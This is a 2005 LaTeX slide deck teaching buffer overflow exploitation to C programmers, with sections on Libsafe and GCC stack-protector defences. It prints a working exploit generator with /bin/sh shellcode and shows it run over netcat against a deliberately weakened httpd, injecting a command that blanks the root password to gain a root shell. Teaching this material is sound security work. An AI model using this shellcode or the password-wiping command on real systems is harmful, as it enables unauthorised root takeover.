\documentclass[pdf]{prosper}
\usepackage[toc,highlight,linbit,notes,hlsections]{HA-prosper}
\usepackage{verbatim}

\title{Implementing Buffer Overflow Attacks}
\subtitle{An introduction for C-Programmers}
\author{Clifford Wolf - www.clifford.at}

\DefaultTransition{Wipe}
\TitleSlideNav{FullScreen}
\NormalSlideNav{ShowBookmarks}
\LeftFoot{\href{http://www.clifford.at}{Clifford Wolf}, \today}
\RightFoot{\href{http://www.clifford.at/papers/2005/buffer/}{http://www.clifford.at/papers/2005/buffer/}}


\begin{document}

\maketitle

% ============================================================================

\tsectionandpart{Stack Buffer Overflow Basics}

\begin{slide}{Memory Layout}
\begin{itemize}

\item The virtual memory of a process is seperated in three parts:
\begin{itemize}
\item Text (Program code)
\item Data (Global and static variables, heap)
\item Stack. 
\end{itemize}

\vspace*{.5cm}
\item The heap and the stack don't have fixed sizes. 

\vspace*{.5cm}
\item The heap grows from low adresses up to high adresses. 

\vspace*{.5cm}
\item The stack grows from high adresses down to low adresses. 

\end{itemize}
\end{slide}

\begin{slide}{Stack Frames}
\begin{itemize}

\item When a function is called,
\begin{itemize}
\item the return address
\item the stack frame pointer and
\item the local variables
\end{itemize}
are pushed on the stack (in that order). 

\vspace*{.5cm}
\item So the return adress has a higher address as the buffer. 

\vspace*{.5cm}
\item When we overflow the buffer, the return adress will be overwritten. 

\vspace*{.5cm}
\item Somtimes the compiler adds additional padding.

\end{itemize}
\end{slide}

% ============================================================================

\tsectionandpart{A simple example}

\begin{slide}{prog1a.c}
\verbatiminput{examples/prog1a.c}
\end{slide}

\begin{slide}{prog1b.c}

\begin{verbatim}
buffer_slides/examples$ echo | ./prog1a
Hello world! (0x804843c)

buffer_slides/examples$ ./prog1b | ./prog1a
Hack the planet!
Segmentation fault
\end{verbatim}

\vspace*{.3cm}
\verbatiminput{examples/prog1b.c}

\end{slide}

\begin{slide}{assembler}
\begin{verbatim}
buffer_slides/examples$ gdb prog1a
(gdb) disassemble main
Dump of assembler code for function main:
[...]
0x08048411 <main+16>:   call   0x80483c4 <crackme>
0x08048416 <main+21>:   movl   $0x804843c,0x4(%esp)
0x0804841e <main+29>:   movl   $0x8048564,(%esp)
0x08048425 <main+36>:   call   0x80482d4 <_init+56>
0x0804842a <main+41>:   cmpl   $0x0,0x8049598
0x08048431 <main+48>:   je     0x804843c <main+59>
0x08048433 <main+50>:   movl   $0x0,0xfffffffc(%ebp)
0x0804843a <main+57>:   jmp    0x8048448 <main+71>
0x0804843c <main+59>:   movl   $0x8048577,(%esp)
0x08048443 <main+66>:   call   0x80482d4 <_init+56>
0x08048448 <main+71>:   mov    0xfffffffc(%ebp),%eax
0x0804844b <main+74>:   leave
0x0804844c <main+75>:   ret
End of assembler dump.
\end{verbatim}
\end{slide}

% ============================================================================

\tsectionandpart{Executing your own code}

\begin{slide}{Overview}
\begin{itemize}

\item We put our code on the other processes' stack and override the
return-pointer to point to our code. 

\vspace*{.5cm}
\item We prefix our code with NOPs so we don't need to know the exact start
address. 

\vspace*{.5cm}
\item We print the new return-pointer multiple times so we don't need to know
the exact position of the return address on the stack. 

\vspace*{.5cm}
\item Our program code must not contain "termination characters" and can't use
absolute pointers. 

\vspace*{.5cm}
\item We can always work with 32bit (4 byte) blocks. 

\vspace*{.5cm}
\item A debugger can be used to determine the stack address. 

\end{itemize}
\end{slide}

\begin{slide}{Example}

\begin{verbatim}
void crackme() {
    char input[500];
    gets(input);
}

int main() {
    crackme();
    printf("Hello world!\n");
}
\end{verbatim}

\vspace*{.5cm}
\begin{verbatim}
buffer_slides/examples$ ./prog2b
Usage: ./prog2b nop-count ret-count fill-count \
                stack-start stack-offset command
Exploit lenght: 49 (0x31)

buffer_slides/examples$ ./prog2b 400 100 5000 \
            0xbffff3e8 300 'uname -mnrs' | ./prog2a
Linux deejay 2.6.10ws-k7-up-lowmem i686
\end{verbatim}

\end{slide}

\begin{slide}{prog2b.c (1/2)}
\begin{tiny}
\begin{verbatim}
#include <unistd.h>
#include <stdio.h>

long int strtol(const char *nptr, char **endptr, int base);

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh\xeb\xeb\xeb";

int main(int argc, char ** argv) {
    unsigned int c, v; /* c = count, v = value */

    if ( argc != 7 ) {
        fprintf(stderr, "Usage: %s nop-count ret-count fill-count "
                "stack-start stack-offset command\n", argv[0]);
        fprintf(stderr, "Exploit lenght: %d (0x%X)\n",
                sizeof(shellcode), sizeof(shellcode));
        return 1;
    }

<< see next slide >>
\end{verbatim}
\end{tiny}
\end{slide}

\begin{slide}{prog2b.c (1/2)}
\begin{tiny}
\begin{verbatim}
<< see previous slide >>

    /* write NOPs */
    for (v=0x90909090, c=atoi(argv[1])/4; c>0; c--) write(1, &v, 4);

    /* write Shellcode */
    write(1, shellcode, sizeof(shellcode)-1);

    /* write "return" address */
    v = strtoul(argv[4], NULL, 0) - strtoul(argv[5], NULL, 0);
    for (c=atoi(argv[2])/4; c>0; c--) write(1, &v, 4);

    /* write linefeeds to trick caches */
    for (v=0x0a0a0a0a, c=atoi(argv[3])/4; c>0; c--) write(1, &v, 4);

    /* write shell command (end with '\n' */
    c = strlen(argv[6]); argv[6][c] = '\n';
    write(1, argv[6], c+1);

    return 0;
}
\end{verbatim}
\end{tiny}
\end{slide}

% ============================================================================

\tsectionandpart{Buffer size and stack address}

\begin{slide}{With sources and debug symbols}

We already need to know the name of the function in which the buffer overflow
happens: 

\begin{verbatim}
buffer_slides/examples$ gdb prog2a
(gdb) break crackme
Breakpoint 1 at 0x80483cd: file prog2a.c, line 5.
(gdb) run
Breakpoint 1, crackme () at prog2a.c:5
(gdb) printf "Start of Stack Frame: %p\n", $ebp
Start of Stack Frame: 0xbffff7e8
(gdb) printf "Stack Offset: %d\n", $ebp - input
Stack Offset: 520
\end{verbatim}

\vspace*{.3cm}
We could pass exact values to the exploit script, but out of paranoia we are
using values which will also work with a slightly different start address for
the stack frame: 

\begin{verbatim}
buffer_slides/examples$ ./prog2b 400 100 5000 \
            0xbffff3c8 300 'uname -mnrs' | ./prog2a
Linux deejay 2.6.10ws-k7-up-lowmem i686
\end{verbatim}

\end{slide}

\begin{slide}{Without sources: Buffer size}

We need to probe for the right values:

\vspace*{.3cm}
\begin{verbatim}
$ dd if=/dev/zero bs=1 count=496 | ./prog2a
Hello world!

$ dd if=/dev/zero bs=1 count=500 | ./prog2a
Hello world!
Segmentation fault (core dumped)

$ dd if=/dev/zero bs=1 count=504 | ./prog2a
Segmentation fault (core dumped)
\end{verbatim}

\vspace*{.3cm}
Now we know the exact size of the buffer.

\end{slide}

\begin{slide}{Without sources: Stack address}

We don't know the start address of the stack frame - so we simply use the start
address of the main() stack frame and increment the offset when it doesn't
work:

\vspace*{.3cm}
\begin{verbatim}
$ echo 'main() {}' > dummy.c
$ gcc -ggdb -o dummy dummy.c

$ gdb dummy
(gdb) break main
Breakpoint 1 at 0x8048364: file dummy.c, line 1.
(gdb) run
Breakpoint 1, main () at dummy.c:1
(gdb) info reg ebp
ebp            0xbffff7f8       0xbffff7f8

$ ./prog2b 400 100 5000 \
            0xbffff3e8 300 'uname -mnrs' |./prog2a
Linux deejay 2.6.10ws-k7-up-lowmem i686
\end{verbatim}

\end{slide}

% ============================================================================

\tsectionandpart{Quick\&Dirty Protection}

\begin{slide}{Libsafe preload library (1/2)}

{\tt http://www.research.avayalabs.com/project/libsafe/}

\vspace*{.5cm}
\begin{itemize}
\item Libsafe is an LD\_PRELOAD library which defines new versions of
"dangerous" glibc functions: 
\begin{itemize}
\item {\tt strcpy(char *dest, const char *src)}
\item {\tt strpcpy(char *dest, const char *src)}
\item {\tt wcscpy(wchar\_t *dest, const wchar\_t *src)}
\item {\tt wcpcpy(wchar\_t *dest, const wchar\_t *src)}
\item {\tt strcat(char *dest, const char *src)}
\item {\tt wcscat(wchar\_t *dest, const wchar\_t *src)}
\item {\tt getwd(char *buf)}
\item {\tt gets(char *s)}
\item {\tt [vf]scanf(const char *format, ...)}
\item {\tt realpath(char *path, char resolved\_path[])}
\item {\tt [v]sprintf(char *str, const char *format, ...)}
\end{itemize}

\end{itemize}
\end{slide}

\begin{slide}{Libsafe preload library (2/2)}
\begin{itemize}

\item These replacement functions are able to analyse the stackframe boundaries
and don't write beyond the end of a stack frame.

\vspace*{.5cm}
\item The sources of a program are not needed.

\vspace*{.5cm}
\item It only works when the buffer overflow is using one of these glibc
functions.

\vspace*{.5cm}
\begin{verbatim}
$ export LD_PRELOAD=/lib/libsafe.so.2

$ ./prog1b | ./prog1a
Hack the planet!
Segmentation fault (core dumped)

$ ./prog2b [...] | ./prog2a
Hello world!
\end{verbatim}

\end{itemize}
\end{slide}

\begin{slide}{IBM GCC SSP Patch (1/2)}

{\tt http://www.trl.ibm.com/projects/security/ssp/}

\vspace*{.5cm}
\begin{itemize}
\item The IBM GCC Stack-Smashing Protector is a GCC patch.

\vspace*{.3cm}
\item Unlike StackGuard it is available for 2.95.x and 3.x.

\vspace*{.3cm}
\item Its implementation is much cleaner than StackGuard and provides better
protection.

\vspace*{.3cm}
\item With a patched GCC, SSP can be enabled using the {\tt -fstack-protector}
command line option.
\end{itemize}

\vspace*{.5cm}
\begin{verbatim}
$ gcc -fstack-protector prog2a.c -o prog2a_ssp

$ ./prog2b [..] | ./prog2a_ssp
prog2a: stack smashing attack in function crackme
Aborted (core dumped)
\end{verbatim}

\end{slide}

\begin{slide}{IBM GCC SSP Patch (2/2)}
\begin{itemize}

\item The Stack-Smashing Protector places a random 32 bit value between the
stackframe pointer and the local function variables.

\vspace*{.5cm}
\item This value is checked before the function returns.

\vspace*{.5cm}
\item If the variable has changed, a stack smashing attack is detected.

\vspace*{.5cm}
\item A safe random number generation given, an attacker can't guess the
variable value and so is not able to overwrite the return address without
modifying this token. 

\vspace*{.5cm}
\item If no random numbers are available, the four bytes {\tt 0, 0, Newline,
255} are used.

\end{itemize}
\end{slide}

% ============================================================================

\tsectionandpart{A realistic example}

\begin{slide}{micro\\\_httpd\\\_buggy}
\begin{itemize}

\vspace*{.5cm}
\item The original {\tt micro\_httpd} is not exploitable this way. I've replaced
the {\tt fgets()} call used by {\tt micro\_httpd} with a {\tt gets()} call.

\vspace*{.5cm}
\item The server is {\tt inetd} based and is running as root.

\vspace*{.5cm}
\item Because it is {\tt inetd} based, it is using his input/output
filedescriptors for the network communication - ideal for our {\tt prog2b}
exploit.

\end{itemize}

\vspace*{.5cm}
In {\tt /etc/inetd.conf}:
\begin{verbatim}
http stream tcp nowait root /../micro_httpd_buggy \
            micro_httpd_buggy /var/log
\end{verbatim}
\end{slide}

\begin{slide}{Exploiting (1/2)}
\begin{itemize}

\item First let's see how big the input buffer is by sending probes: \\

\vspace*{.2cm}
{\tt printf '\%-*s$\backslash$n$\backslash$n' {\it N} 'GET / HTTP/1.0' | $\backslash$ \\
\hspace*{2cm} netcat localhost 80}

\vspace*{.2cm}
...

\vspace*{.2cm}
{\tt printf '\%-*s$\backslash$n$\backslash$n' 10114 'GET / HTTP/1.0' | $\backslash$ \\
\hspace*{2cm} netcat localhost 80}

\vspace*{.5cm}
\item Then let's construct the exploit code: \\

\vspace*{.2cm}
\begin{verbatim}
$ ./prog2b 5000 6000 5000 0xbffff3e8 8000 \
           'echo root: | /usr/sbin/chpasswd -e' | \
           netcat localhost 80
$ su -
Password:
\end{verbatim}

\end{itemize}
\end{slide}

\begin{slide}{Exploiting (2/2)}
\begin{itemize}

\item Ok, Murphy striked hard. What happened?

\vspace*{.5cm}
\item Probably the 10114 bytes "buffer size" is not the size of the buffer, but
the end of the stack.

\vspace*{.5cm}
\item So the output happens in the same function as the input loop. The program
segfaults when we write over the end of the stack.

\vspace*{.5cm}
\item That's not so bad. We don't know the buffer size now, but we know pretty
exactly where our exploiut code will be on the stack:

\begin{verbatim}
$ ./prog2b 2000 8000 5000 0xc0000000 9500 \
           'echo root: | /usr/sbin/chpasswd -e' | \
           netcat localhost 80
$ su -
#
\end{verbatim}

\end{itemize}
\end{slide}

% ============================================================================

\tsectionandpart{References}

\begin{slide}{Phrack}
\begin{itemize}

\item Phrack 49-14: Smashing The Stack For Fun And Profit

\vspace*{.5cm}
\item Phrack 56-5: Bypassing Stackguard and Stackshield

\vspace*{.5cm}
\item Phrack 57-15: Writing ia32 alphanumeric shellcodes

\end{itemize}
\end{slide}

\begin{slide}{URLs}
\begin{itemize}

\item This presentation: \\
{\tt http://www.clifford.at/papers/2005/buffer/}

\vspace*{.5cm}
\item Clifford Wolf: \\
{\tt http://www.linbit.com/}

\vspace*{.5cm}
\item LINBIT Information Technologies: \\
{\tt http://www.linbit.com/}

\end{itemize}
\end{slide}

% ============================================================================

\end{document}

